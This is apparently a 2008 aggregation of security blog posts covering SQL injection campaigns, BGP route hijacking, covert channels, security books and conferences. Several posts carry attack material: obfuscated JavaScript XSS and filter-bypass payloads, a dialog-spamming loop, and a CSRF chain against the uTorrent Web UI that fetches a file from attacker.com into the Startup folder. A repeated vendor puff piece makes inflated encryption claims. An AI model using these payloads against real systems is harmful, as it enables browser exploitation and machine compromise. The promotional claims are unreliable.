Given how successfull the exploitation of such an 'old' vulnerability, it is likely we are only going to see more (and better executed) versions of this in the next few months (years?). Hitting over a million pages with a pretty lame attack, that only targets Microsoft SQL is fairly impressive. If they just modified their SQL to work on MySQL or Postgres I'm sure we would seem more than a million more hit. It is interesting to note that it has taken this long from someone to try and 'monetise' SQL injections, as it has been around for a while (8 years?). My guess is that it will take less time for bad guys to do the same with XSS & CSRF, but that Microsoft's default request validation will save some of us, but not because dev's have cottoned on.

The Spanner

Double encoding javascript

Posted: May 10th, 2008, 6:23am CDT by Gareth Heyes

Tags: Security [edit]
I found a nice variation which allows multiple types of encoding without performing eval twice on the string. The code works using the Script function and because of this the code is rewritten by the javascript engine and converts the unicode into standard text.

First a base of unicode is used first “u0061u006cu0065u0072u0074u0028u0031u0029″ then each section of the is encoded with hex or octal. The final result can be viewed below:-
```
alert(Script('x5cx750066611341656006cx5cx75x30x30x36x35
13416560606762x5cx75x30x30x37x34x5cx75x30x30x32
x38x5cx75x30x30x33x31x5cx75x30x30x32x39'))
```
The code can be executed like this:-
```
Script('x5cx750066611341656006cx5cx75x30x30x36x35
13416560606762x5cx75x30x30x37x34x5cx75x30x30x32
x38x5cx75x30x30x33x31x5cx75x30x30x32x39')()
```
Firefox find function

Posted: May 7th, 2008, 9:27pm CDT by Gareth Heyes

Tags: Security [edit]
I found this quite interesting, calling the find function in Firefox without parameters displays a dialog box. Calling it multiple times displays loads of find windows
```
for(i=0;i<100;i++) {
 find();
}
```
Javascript getters hacking

Posted: May 7th, 2008, 8:51pm CDT by Gareth Heyes

Tags: Security [edit]
I’m a big fan of strange looking Javascript and using the syntax in ways it wasn’t intended, so I can understand the internals of what’s going on. Tonight I was having trouble sleeping and I decided to try and bypass the PHPIDS, I found that Firefox lets you use getters with unassigned variables and returns the results.
```
the=javascript getter=eval
s = me getter=the('alert(1)')
```

Rational Survivability

Down Under: Where Security Is SO Last Tuesday...

Posted: May 7th, 2008, 8:15pm CDT by beaker

Tags: Information Security [edit]

I read this article from Network World (Australia) where the author relayed the pinnings of C-levels from Australia and New Zealand by titling his story thusly: "If only reducing costs was as easy as security, say CIOs"

It seems that based upon a recent study, IDC has declared that "...conquering IT security is a breeze for CIOs."

I'm proud of my Kiwi lineage, but I had no idea my peeps were so ahead of the curve when it comes to enlightened advancements in IT security governance. They must all deploy GRC suites and UTM or something?

Anton, there must be something in the logs down there!

As per that famous line in "When Harry Met Sally," I respond with "I'll have what [s]he's having..."

Check this out:

The IDC Annual Forecast for Management report surveyed 363 IT executives from Australia (254 respondents) and New Zealand (109 respondents) across industries including finance, distribution, leisure and the public sector.

Information security was rated last place in the Top 10 challenges for CIOs.

Threats targeting the application layer were cited as the biggest concern (36%), while spyware (16%) was rated as a bigger threat than disgruntled employees, remote access, and mobile devices.

The CIOs top priority for the next 12 months was reducing costs and addressing a lack of resources. This was followed by meeting user expectations and developing effective business cases.

The top four IT investments for the next year will be in collaborative technologies and knowledge management; systems infrastructure; back office applications; and business intelligence.

I'm no analyst, but allow me to suggest that just because security is not the top priority or "challenge" does NOT mean they have the problem licked. It simply means it's not a priority!

Perhaps it's that these CIO's recognize that they've been spending their budgets on things that aren't making a difference and should instead be focusing on elements that positively impact corporate sustainability and survivability as an on-going concern instead?

The most hysterical thing about this article -- besides the re-cockulous premise they overly-hyped and the (likely) incorrect interpretation of results the title suggests -- is that on the same page as this article which suggests the security problem is licked, we see this little blurb for a NWW podcast:

So, there we have it. A direct tie. Security is solved and failing, all at the same time!

Sigh.

/Hoff

tssci security

Protecting the global Internet routing infrastructure

Posted: May 7th, 2008, 2:16pm CDT by dre

Tags: Security [edit]

Arbor Networks has a blog post up today about Using RPKI to Construct Validated IRR Data. Resource PKI (RPKI) is an extension to X.509 to allow for IP address (prefix) and AS identifiers (autonomous system numbers — the organization-based assigned number used by the Border Gateway Protocol to get you or your ISP “online”).

My first introduction to hijacking traffic at a global level was in 1997. A certain ISP that I knew would typically test their attack theories and concepts live by re-routing, redirecting, and outright stealing traffic using BGP-4. It was often done to spammers, typically those already in a customer relationship with the provider.

By using a TCP/IP routing concept known as a “more-specific route”, or MSR as I like to refer to it — a route injected into the RIB (routing information base, or “routing table” as most people call it) that has a shorter-prefix (a /24 instead of a /23) will be selected by the RIB to be the destination of all traffic that is categorized by that prefix. If, say, the 2 /24’s that make up a /23 are both injected into the RIB, then all traffic destined to that /23 is now directed instead to the /24 MRS’s.

Historically, there has been little to nothing to prevent this from happening at a global level. As we spoke about in the Day 12: ITSM Vulnerability Assessment Techniques post, even YouTube was recently hijacked by Pakistan using the exact concepts above.

Note that this is different than regular IP/ASN hijacking. The YouTube incident was BGP traffic hijacking. The difference (and they are even worse when combined) is that IP/ASN hijacking involves modifying the RIR (Regional Internet Registry) database records to new information, such as contact, DNS, RWhois, and other ownership rights. The world was first officially introduced to this style of attack in 1999 when CERT released an advisory detailing the Potential for False Authentication in Registry Transactions aka the “MAIL-FROM:” attack, which works just like regular domain hijacking.

Typically, the defense to these types of attacks has had one major stop-gap: ISP filtering, in particular — customer filtering, which is typically/historically applied only on the customers. When L0pht presented to Congress in 1998 and told them that they could “take down the entire Internet in 30 minutes or less” — Mudge and company were likely referring to the fact that route filters were applied at the customer level (and not even always there), but not in between ISP peering relationships.

Route-filters on ISP peering, especially “default-free zone” (DFZ) peering, often used the IRR (Internet Routing Registry) information to build a preventative measure. Hoewver, the IRR system itself (the primary vendor/organization being the RADB — or the Routing Arbiter Database, or now known as the “Router Assets Database”) was typically vulnerable to the same “false authentication” attack and other abuses such as social engineering.

RPKI looks like it goes a long way towards ensuring an easy path for ISP’s and other BGP-speaking organizations to protect their routes and deliver an infrastructure that could withstand simple attack vectors such as these.

Disenchant's Blog

Big XSS Presentation

Posted: May 2nd, 2008, 4:46am CDT by Disenchant

Tags: Security [edit]

On the 26. March this year, I gave a quiet special guest lecture. I was teaching students at the Bern University of Applied Sciences Engineering and Information Technology which are all studying the same as me (computer science) but they are nearly finished with their studies. This means I was once more the young and long-haired guy who came to talk about security or to be more specific web application security. Of course it was a special situation for me and I think also for the other students. Anyway, it was interesting to work with them and I think that my presentation and also the demos I made, helped them to understand the topic I was talking about: XSS.

Unfortunately it’s not that easy to upload the demos I made but I’d like to make my presentation available to the public because I think, that people can learn out of it and also if someone needs to give a lecture on XSS he/she can probably use some stuff out of my presentation.

Download the XSS presentation now

Hope you enjoy the presentation

tssci security

An update on Protocol hopping covert channels

Posted: April 29th, 2008, 9:29am CDT by dre

Tags: Security [edit]

At last year’s Blackhat US 2007, the dominant discussion was around Joanna Rutkowska and Alex Tereshkin’s “New Blue Pill” vs. Peter Ferrie, Nate Lawson, and Tom Ptacek’s VT-x Rootkit Detection techniques. This included some follow-up material on the Matasano blog including Side-Channel Detection Attacks Against Unauthorized Hypervisors and some confusion by Rich Mogull which led to You Can Detect Hypervised Rootkits Even if You’re Virtualized. Joanna’s rebuttal to the Matasano bloggage can be found in Virtualization Detection vs. Blue Pill Detection on her blog.

But what about covert channels on the network?

Surely, Ptacek and Rutkowska are both overly familiar with the issues applied at that layer — Ptacek having authored Insertion, Evasion, and Denial of Service, with Rutkowska providing code for NUSHU - passive covert channel engine for Linux 2.4 kernels.

Many claim that network covert channels can be made undetectable; others might argue that like system rootkits — certain techniques can always make covert activity visible to prying eyes.

Last November, Richard Bejtlich analyzed the Protocol Hopping Covert Channel Tool, written by Steffen Wendzel. Using tools such as Wireshark, tcpdump, Argus, and tcpflow — Richard demonstrates how the PHCC tool (phcct) can be categorically identified.

Richard did agree with one commenter that if the PHCC tool properly encrypted traffic — that the analysis would be inconclusive. So why was the proof-of-concept crippled?

A recent comment to Richard’s post on PHCC comes from the author of the tool itself (Steffan Wendzel). In the comment, he writes:

Nevertheless I still think PHCC are very hard to detect using encryption (I don’t plan to add encryption to this explicity called “simple” proof of concept code) and an improved micro protocol message ID field (see updated part of the paper). I also think that collecting _all_ data in a network is a too huge amount of data propably nobody will take care about (which company will pay the forensics that will investigate the garbage data?)

But you’re right: The detection of the PHCC implemented by phcct is easy to detect but it wasn’t the target to do something different in this proof of concept code.

However, thanks to Richard’s post and corrections — Steffan updated his paper on Protocol Hopping Covert Channels, but noted that he doesn’t have time to correct the tool itself. In this case, having the correct information documented is more important than having a more reliable exploit tool. Some would argue that, “There’s no point in rubbing salt into an open wound” (one of my favorite quotes on the issue of anti-forensics).

Dominic White's .tHE pRODUCT

Currently, potentially, Infected SA sites

Posted: April 29th, 2008, 7:53am CDT

Tags: Security [edit]
Based on Google's index, the following sites are/were infected based on the SQL injection attack discussed all over the place (1, 2, 3, 4, 5). From an SA perspective, News24, Sunday Times (available in dead tree only) and Talk Radio 702 have covered this.

Click here for Google's latest list.

Click here for Yahoo's latest list (much less accurate).

Status: Medium
- Most of the sites hosting the JavaScript are down, and most of the sites listed as infected seem to be clean (for SA). As this appears to be the 3rd or 4th injection, if web admins haven't fixed the root vulnerability and the attack is re-run pointing at a different domain, it could happen again.
- The command and control server the Trojan sends stolen passwords to is still up.
Warnings:
1. Do not click on any of the links from Google or Yahoo as you are likely to be taken to a website which will infect your computer with a trojan.
2. Search engines (aka Google and Yahoo) work on an index, which works on a snapshot of information. This snapshot takes a while to update, so some sites may be infected and not listed yet, and others may no longer be infected and still listed.

Michael Howard's Web Log

Crispin has a blog!

Posted: April 28th, 2008, 1:08pm CDT by michael_HOWARD

Tags: Security [edit]

It had to happen. Since joining Microsoft a few short months ago, Crispin Cowen now has a blog. He's told me some of his ideas for posts... should make for an interesting read! He's never short on opinion.

SecuriTeam Blogs

Centralized Administration Adds Security

Posted: April 23rd, 2008, 4:27pm CDT by Jon Campbell

Tags: Corporate Security [edit]

Authorities on network/computer administration say that centralized management of a company’s computers is the key to a safe and secure IT infrastructure. Clearly that is true, you hire the best and brightest to manage and develop policies for how your companies IT systems will be operated, then that central team makes sure the policies are maintained. There is a solution that is Java based which you will find very helpful in this regard, it is called Iron-Admin and it is gaining popularity.

Centralized Management

One of the major hurdles with centralized management of computers is the software aspect. Having a secure means of administering a WAN from your central office is needed. You will find Iron-Admin made by Wise Firm (www.WiseFirm.com) to be outstanding for centralized management, another product is WebMin (www.WebMin.com) which is specific to Linux servers only. For larger corporations who maintain Microsoft, IBM, Solaris, and other OS servers, the only choice would be Wise Firm’s product called Iron-Admin. It uses 256bit encryption for all communication, which is double that of WebMin.

With Unix based servers the legacy method of administering your network was to use X Windows terminals, or just an SSH shell session and commands. And with Microsoft Windows you have the Active Directory which allows WAN administration using a simple GUI tool. The problems you face with both of these legacy systems is that various server side software, such as DNS, eMail, Web Servers, etc. require you to learn the GUI of each of these software packages. On top of that you are often dealing with multiple OS systems with various designs, and Solaris doesn’t work the same as AIX, likewise Linux is not the same as MS Windows Server. Wise Firm’s Iron-Admin system solves all of this, providing a uniform way to administer all of the OS systems and the server software that runs on them.

Iron-Admin’s Universal GUI

The Iron-Admin product provides a powerful GUI with centralized control of all servers on your WAN or LAN. The GUI is more advanced then Microsoft’s Active Directory MMU tool. And the GUI appearance and operation is the same rather you are administering an AIX server, Solaris, Windows 2003, or Windows Vista. Iron-Admin is actually not just an administration system, actually it ships with many server components and when you install it you actually get a powerful eMail server, Backup server, DNS server, J2EE server, Samba/Windows server, and other components. So Iron-Admin is kind of an administration system and server system all in one with a universal GUI to manage everything. Here’s a GUI snapshot of what it looks like…

Integrating Multi-Platforms

Another common need is to integrate various platforms, or OS systems of different flavors. Again Iron-Admin fills the need by offering cross-platform file management and backup. From one computer console you can copy and move or backup files from multiple computers across a large WAN. For instance you could select files and directories from an AIX server in California, then select some more files from a Solaris 10 workstation in Dallas, then select some more files and directories from a MS Windows 2003 server in Kansas, and then copy all of them from all those computers to a single destination Linux server in Florida! That sounds amazing right, will I have done just such things with Iron-Admin, and it is as easy as using the MS Explorer or the Linux File Browser. You can do more then just copy them however, you can select files and directories as stated and instead of just copying them, you can burn them all to a DVD on a destination computer, or just schedule a regular automated backup from all of those computers to a destination computer. Integration stretches to easy click and linking of NFS shares across platforms too, as well as ADS file shares between Linux and Windows servers and workstations.

There are actually too many features to mention in Iron-Admin, you really should go to www.WiseFirm.com and get into their online Forums, they are very helpful. They also have other products, including free encryption software, free benchmarking software, and eBooks which are very helpful. Wise Firm has really expanded on the capabilities of Java, they offer an unlimited-strength encryption system with Iron-Admin which apparently could do like 5000-bit encryption, WOW!

Justice League

Unsafe at any bitrate?

Posted: April 23rd, 2008, 10:18am CDT by Guest

Tags: Software Security [edit]

[This a guest post by Cigital’s Troy Jones, written in reference to episode 25 of The Silver Bullet Security Podcast, an interview with Jon Swartz.]

Gary,

Listening to your podcast with Jon Swartz today, you briefly mentioned Ralph Nader a couple of times. You said almost in jest, that “… we need a Ralph Nader for Security.” This got me thinking about a recent brownbag you gave on Software Security, where you mentioned that clients have implied needs for security but may not explicitly state their needs. I think the concept of implied need for software security and what Nader did to impact auto safety are entirely related.

Back in the 60’s people expected that the cars they bought were “safe”. Safety was not a marketing angle used by the car companies, and people did not shop around for the safest cars, but no one would buy an “unsafe” car. They just trusted and expected that the big auto makers had already thought about safety and “built it in” because no reputable car manufacturer would sell an “unsafe” car, would they?

It was not until Ralph Nader wrote “Unsafe at any Speed” that people began to question the safety of the cars they bought. When it became apparent that Detroit was selling them unsafe cars, the public outcry (not the book itself) prompted congress to act to enable novel new safety standards like seatbelts, bumpers that actually worked, and eventually crumple zones and air bags. So, people had an implied need for auto safety, but did not express that need until they became educated to the fact that they were not safe. Then they expressed their newfound need for safety to the politicians and also voted with their pocket books, buying safer cars. When consumers were provided with valid safety evaluations, from Consumer Reports and the National Highway Traffic Safety Commission, they changed their buying habits. Auto manufacturers (eventually) changed their approach in response. After years of fighting increasingly stringent safety regulations, they now compete to be able to advertise that their minivan has the highest safety rating.

So, what does all this have to do with software security? One point is that “safe” is relative term. You are safe if you feel safe. It is hard or impossible to know if you are actually safe but it is easy to have your illusion of safety shattered by hard facts. Your average consumer today may be oblivious or vaguely concerned about software security, but they don’t have the information necessary to make discriminating choices about what software to use or buy and to stay away from. There is no Internet Highway Safety Commission and no ratings to refer to. Without this information, people are unable to express their implicit needs. They are driving metaphorical Corvairs and they don’t even know it.

Another point is that safety and security are both relative. The worst Yugoslavian POS manufactured today is probably much safer than any car rolling off the Detroit auto lines in 1965. It is conceivable that 50 years from now people will look back and wonder how we survived without collision avoiding auto-pilots in our cars! People’s expectations for “safety” evolve over time and hopefully their actual safety improves as cars are better engineered, but there is no endpoint- no “safety finish line”. I think this analogy applies to “Software Security”. Software should get more secure over time if security is considered an important goal, but software will never be 100% secure. Good for job security but bad for everyone who depends on software to work securely.

A third point is that the initial reaction to unsafe autos was to build safer highways. Wide-open, straight, and fast highways seemed to be more cost effective than engineering better automobiles. It was not until highway traffic deaths began to skyrocket that everyone realized how effective automobiles are at killing the occupants involved in an accident at 75 MPH with no seat belts. The same approach has been taken on the internet. Bigger pipes and better firewalls should take care of the problem. No need to design and build more secure software! But the common folk will eventually realize that building a super information highway to their most confidential data has lots of unintended negative consequences, especially when it is so easy for the crooks to get past the vigilant but not-too-bright night watchman.

The last point I would make is that it took a fairly long time and a number of contributing factors for something to be done about auto safety. While Nader’s book was certainly a catalyst, it was not the “Auto Safety Pearl Harbor”. He merely recognized and assembled the information in a concise format that allowed people to understand and take action against a problem that had been growing worse for a long time. My guess is that the same will be true for software security. There will not be a “Software Security Pearl Harbor”. But through your continued evangelizing, through books like Jon Swartz’s “Zero Day Threat” and by their own negative experiences, people will eventually realize that something has to change and will demand action from software vendors, perhaps increased regulation from Congress, and maybe even a rating system to identify the worst offenders and the most secure software available so that they can make better choices. I am convinced that attitudes will begin to change soon, as the current rate of increase in cyber-crime has us on a trajectory to reach 1% of total GDP with 4 years. If that happens, it will definitely get the attention of quite a few people and may drive the expression of latent needs for software security.

SecuriTeam Blogs

Centralized Management Adds Security

Posted: April 22nd, 2008, 7:39pm CDT by jdcampbell

Tags: Corporate Security [edit]

There is an almost endless need for security as the attack of all sorts of criminal hackers and hordes continues. Authorities on network/computer administration say that centralized management of a company’s computers is the key. Clearly that is true, you hire the best and brightest to manage and develop policies for how your company’s IT systems will be operated, then that central team makes sure the policies are maintained. There is a solution that is Java based which you will find very helpful in this regard, it is called Iron-Admin and it is gaining popularity.

Centralized Management

One of the major hurdles with centralized management of computers is the software aspect. Having a secure means of administering a WAN from your central office is needed. You will find Iron-Admin made by Wise Firm (www.WiseFirm.com) to be outstanding for centralized management, another product is WebMin (www.WebMin.com) which is specific to Linux servers only. For larger corporations who maintain Microsoft, IBM, Solaris, and other OS servers, the only choice would be Wise Firm’s product called Iron-Admin. It uses 256bit encryption for all communication, which is double that of WebMin.

With Unix based servers the legacy method of administering your network was to use X Windows terminals, or just an SSH shell session and commands. And with Microsoft Windows you have the Active Directory which allows WAN administration using a simple GUI tool. The problems you face with both of these legacy systems is that various server side software, such as DNS, eMail, Web Servers, etc. require you to learn the GUI of each of these software packages. On top of that you are often dealing with multiple OS systems with various designs, and Solaris doesn’t work the same as AIX, likewise Linux is not the same as MS Windows Server. Wise Firm’s Iron-Admin system solves all of this, providing a uniform way to administer all of the OS systems and the server software that runs on them.

Iron-Admin’s Universal GUI

The Iron-Admin product provides a powerful GUI with centralized control of all servers on your WAN or LAN. The GUI is more advanced then Microsoft’s Active Directory MMU tool. And the GUI appearance and operation is the same rather you are administering an AIX server, Solaris, Windows 2003, or Windows Vista. Iron-Admin is actually not just an administration system, actually it ships with many server components and when you install it you actually get a powerful eMail server, Backup server, DNS server, J2EE server, Samba/Windows server, and other components. So Iron-Admin is kind of an administration system and server system all in one with a universal GUI to manage everything. Here’s a GUI snapshot of what it looks like…

Integrating Multi-Platforms

Another common need is to integrate various platforms, or OS systems of different flavors. Again Iron-Admin fills the need by offering cross-platform file management and backup. From one computer console you can copy and move or backup files from multiple computers across a large WAN. For instance you could select files and directories from an AIX server in California, then select some more files from a Solaris 10 workstation in Dallas, then select some more files and directories from a MS Windows 2003 server in Kansas, and then copy all of them from all those computers to a single destination Linux server in Florida! That sounds amazing right, well I have done just such things with Iron-Admin, and it is as easy as using the MS Explorer or the Linux File Browser. You can do more then just copy them however, you can select files and directories as stated and instead of just copying them, you can burn them all to a DVD on a destination computer, or just schedule a regular automated backup from all of those computers to a destination computer. Integration capabilities with Iron-Admin include easy click and linking of NFS shares across platforms too, as well as ADS file shares between Linux and Windows servers and workstations.

There are actually too many features to mention in Iron-Admin, you really should go to www.WiseFirm.com and get into their online Forums, they are very helpful. They also have other products, including free encryption software, free benchmarking software, and eBooks which are very helpful. Wise Firm has really expanded on the capabilities of Java, they offer an unlimited-strength encryption system with Iron-Admin which apparently could do like 5000-bit encryption, WOW!

Billy (BK) Rios

CSRF pwns your box?!?!

Posted: April 21st, 2008, 3:02am CDT by xssniper

Tags: Security [edit]
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed…   OK, on to the good stuff…


A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:

When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
  http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:Documents%20and%20SettingsAll%20UsersStart%20MenuProgramsStartup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
  http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog <robs blog>.
ToorCon ROCKED!

Posted: April 21st, 2008, 2:07am CDT by xssniper

Tags: Security [edit]

ToorCon this weekend totally ROCKED. Any venue that has flaming tetherball, major websites getting pwnd, hawt hacker chics pwning backbone protocols, java 0-days, and free beer has to ROCK. All the talks I caught were awesome and the con has inspired me to look into some new avenues of research (aka pwnage).

Thanks to H1kari, tim, Geo, and Phil for having me out!

Michael Howard's Web Log

Oh No! Security Metrics!

Posted: April 18th, 2008, 10:33am CDT by michael_HOWARD

Tags: Security [edit]

I just posted an article over on the SDL blog about security metrics in reponse to an analyst's criticisms of how we measure success/failure/progress.

Comments always welcome.

UPDATE David Litchfield just made a post on the subjet.

Justice League

Three New Books

Posted: April 16th, 2008, 3:11pm CDT by gem

Tags: Enterprise Software Security [edit]

There are three new books (recently released) that are worth a look. Once is an absolute necessity for any security practitioner. The others may be interesting for some readers of the blog.

The book that you MUST READ RIGHT NOW is the second edition of Ross Anderson’s Security Engineering book. Ross did a complete pass on his classic tome and somehow made it even better. It also comes in handy as a weapon as it is so heavy. Books like Ross’s are a refreshing reality check from the usual pablum published in computer security.

Simply put, this is a must read book for every security professional. I don’t have my real copy yet from the publisher (but they say one is on the way), but I did take a close look through the manuscript. Ross retains his number one slot on my list of top 5 things every software security person should read.

Incidentally, I interviewed Ross for Silver Bullet last year (in April). Ross’s episode is the most popular of all 24 episodes released to date with over 18,000 downloads. You might want to give that a listen as well.

The other two books that are worth a look are Crimeware and The New School of Information Security. Lets cover them in reverse.

ie=UTF8&s=books&qid=1208286357&sr=1-1">

ie=UTF8&s=books&qid=1208286357&sr=1-1">The New School of Information Security is a book worth buying for the cover alone. I know of no other computer security book with a Kandinski on the front. Even though I know Adam Shostack from way back (and never could have predicted that he would become a Microsoft guy), I saw his book at RSA, bought it for the cover, and only then discovered that he was the author! My plan was to give the book to a good friend who I know is a huge Kandinski fan. On the way to complete that errand, I had a chance to look though the book and now I need a copy of my own! If you’re a follower of the economics of security school (which Ross and Bruce Schneier have helped spearhead), you’ll like this book.

Crimeware is an academic tome written by my friend Markus Jakobsson. I contributed a chapter on software security bug taxonomy. My copy showed up last night, and I have earmarked more time to read it thoroughly. The enemy has changed over the last decade, and criminals are bringing the game to a new level.

Spring may not be the best reading time, but it does appear to be the best time for a crop of interesting new security books!

Dominic White's .tHE pRODUCT

OSVDB SoC Updates

Posted: April 15th, 2008, 1:27am CDT

Tags: Security [edit]

OSVDB's SoC code monkey, Dave, has been ferreting away and is already producing some good stuff (one, two, three). I am going to have a go at getting back into mangling some vulns later tonight. Given that the last time I mangled vulns was almost four years ago, I have a feeling I will be very pleased/surprised by the many changes.

For those of you living in the dark ages, OSVDB will be *the* canonical vulnerability reference one day, in the meantime it's just more accurate than the rest ;), all it needs is more manglers.

Billy (BK) Rios

RSA over… on to toorcon Seattle

Posted: April 13th, 2008, 10:17am CDT by xssniper

Tags: Security [edit]

RSA is officially over! It was a great experience and I’ll talk about a few of the talks that really captured me in later posts. I do want to thank Jeremiah Grossman for throwing the WASC get together, the BAYSEC crew, McAfee (their party was awesome), iSEC (their party was AWESOME), Thirsty Bear, everyone at the W, and everyone that came to the Breaking and Securing Web Applications talk!

There were tons of people trying to get some answers to their web appsec questions after the talk, if you weren’t able to talk to me after the session or during the conference, please don’t hesitate to shoot me an email.

I’ll be at toorcon next week, if you’re in the Seattle area, look me up…

Disenchant's Blog

Touchscreens vs. Biometrics

Posted: April 11th, 2008, 12:58pm CDT by Disenchant

Tags: Security [edit]

A few days ago I was cleaning the screen of my notebook, which’s a Lenovo X61 Tablet. I’m using it everyday and especially for my studies I’m working in tablet-mode, which means that I have to clean up the screen about every two weeks. During cleaning I recognized, that there are many fingerprints of mine on the touchscreen. Whoops… haven’t we seen more than enough how to fake fingerprints? I think we have and did you see that there is a built in fingerprint reader in the X61. Let’s think about this. We’ve got more and more devices which have a touchscreen and at the same time, more devices allow you to log in with your fingerprint. This means, that in the near future an attacker don’t need any password of you, he just steals a device and then build his key (the fingerprint) right from the touchscreen.

To make this more visible to you, I’ve made a photo of my screen:

As you can see, this is really a good enough fingerprint to copy it.

PS: I smudged three lines on the picture because it’s my own fingerprint

The Spanner

Javascript cloning objects

Posted: April 10th, 2008, 4:28am CDT by Gareth Heyes

Tags: Security [edit]
I haven’t posted for a while as I’ve been busy but I thought I’d post about object cloning because it’s a useful tip and can be used in many situations like browser hacking or general web development. I posted this to the sla.ckers forum a while ago but in case you missed it here goes….

When cloning a object in Javascript many of the examples I found used for(i in..) to traverse the properties and copy each of them. There is a nicer way to do this using the uneval function like this:-
```
obj={a:1,a:2}
function clone(o) {
 return eval(uneval(o));
}
obj2 = clone(obj);
obj2.a=0;
alert(obj.a);
alert(obj2.a);
```
Giorgio Maone pointed out that it would be nice to prototype the code to make it easier to implement:-
```
Object.prototype.clone = function() {
  return eval(uneval(this));
}
alert("test".clone());
alert((3).clone());
alert(clone.clone());
```

Michael Howard's Web Log

Microsoft Security Development Lifecycle (SDL) 3.2 documentation now available for download

Posted: April 9th, 2008, 5:16pm CDT by michael_HOWARD

Tags: Security [edit]

Dave Ladd has just made a (long) post over on the SDL blog announcing the availability of the SDL 3.2 doc suite. This is a big deal.

Justice League

Is Penetration Testing Security Testing?

Posted: April 9th, 2008, 9:47am CDT by jOHN

Tags: Software Security [edit]

Some people start “Security Testing” by buying and using a pen-test tool on project. Such tools uncover security vulnerabilities (though they seldom help with root cause analysis or even obtaining double-digit code coverage).

These tools are degenerate, at best, in facilitating a security testing strategy. Why? Because, these tools are “black box” tools. What are black box tools?

The term “black box” stems from old testing literature and means “without internal knowledge”. An external perspective has always excluded “code” but sometimes goes as far as (in my opinion appropriately) software design. Obviously, you need to know something about the application’s architecture and design to test it though and the slope gets slippery.

In the realm of penetration testing, the term “black box” often has meaning beyond the tester’s knowledge of the product. OSSTM defines “black box” to mean that neither attacker nor defender are given knowledge of each other. They mean for this test procedure to accurately represent the kinds of opportunities, need for stealth, accessibility, and exploit that a real attacker would have, and also to evaluate the defender’s abilities to identify and prevent or recover from attack.

Because black box tools to a large extent run canned tests they will not satisfy my security testing goal (see previous entry) of having run tests that one traces back to requirements. ‘Requirements that one created as a result of doing risk analysis that determines exactly what behaviors (and their impacts) should be avoided were the software attacked.

Arguably, security folk have “cached” this risk analysis and these implicit requirements in the pen testing tool. Fine, this is that small benefit that I mentioned pen tests do provide. And, they DO find bugs. Again, this is at best a degenerate case of security testing in the same way running a fuzz testing tool is a degenerate way of conducting functional testing.

For QA folk wary of accepting the previous statement, it will suffice to say that you wouldn’t defend your job based on achieving less than fifty percent coverage would you?

Vendors have begun using hybrid approaches (this will only become more common). Do these approaches solve our coverage problem and allay our concerns?

I demo’d Compuware’s DevPartner, which has a poorly advertised (and perhaps now nacent) security scanning capability, a few years back and was pretty impressed with the start they had made in hybrid .NET analysis. I’m not sure where it’s gone since then. Fortify’s PTA also combines static and dynamic analyses to help prioritize static findings and provide root cause analysis for dynamic ones.

These hybrid tools don’t get our security testers off the hook either though, as they’re still not addressing the project-specific risk analysis nor are they anchoring tests in requirements.

Michael Howard's Web Log

Internet Explorer 8.0 and Data Execution Prevention (DEP/NX)

Posted: April 8th, 2008, 3:23pm CDT by michael_HOWARD

Tags: Security [edit]

Eric Lawrence just posted some commentary about IE8 and DEP/NX. As you may know, IE7 supports DEP/NX, but it's disabled by default owing to compatibility issues. Well, DEP/NX is now enabled by default for IE8 when running on Windows Server 2008 and Window Vista SP1 and later :-)

If you build any form of extensibility mechanism for IE, you should read his post.

Rational Survivability

@RSA This Week...

Posted: April 8th, 2008, 2:32am CDT by beaker

Tags: Security Conferences [edit]

It seems I forgot to specifically call out the fact that I'll be in San Francisco attending the RSA Conference this week.

Monday had me at the America's Growth Capital conference with the remainder of the week spread between sessions, briefings, meeting up with old friends and making new ones. I'm leaving back to Boston Friday morning.

I'm speaking on Wednesday (DEPL-201)

/Hoff

Michael Howard's Web Log

When adding security bugs to your code is not your fault!

Posted: April 4th, 2008, 4:55pm CDT by michael_HOWARD

Tags: Security [edit]

David LeBlanc and I (and a bunch of others) just had a little email exchange about some fascinating integer overflow vulnerabilities in gcc.

Long story made short: the code you add to detect integer overflows might actually be removed by the compiler because of assumptions made by the optimizer. I was going to write a post on the subject, but David did it for me :-) A frankly, no-one knows int-overflow science quite like LeBlanc.

I can't help but be reminded of another compiler optimization vulnerability we discovered a few years back. I wonder what else might be in store for us from the world of compiler optimizations?

Billy (BK) Rios

Amsterdam, RSA, Security Vids, and the Harvard Business Review

Posted: April 3rd, 2008, 2:43am CDT by xssniper

Tags: Security [edit]

I’ve survived yet another Blackhat Europe… actually, part of me probably perished in the streets of Amsterdam, but that’s a story for the bars. I’ll be in San Francisco next week speaking at the RSA Conference.  I plan on attending the WASC RSA meetup and the iSEC Forum and Social (I love the iSEC parties!). If you see me out and about, hit me up and we’ll talk security over a few drinks!



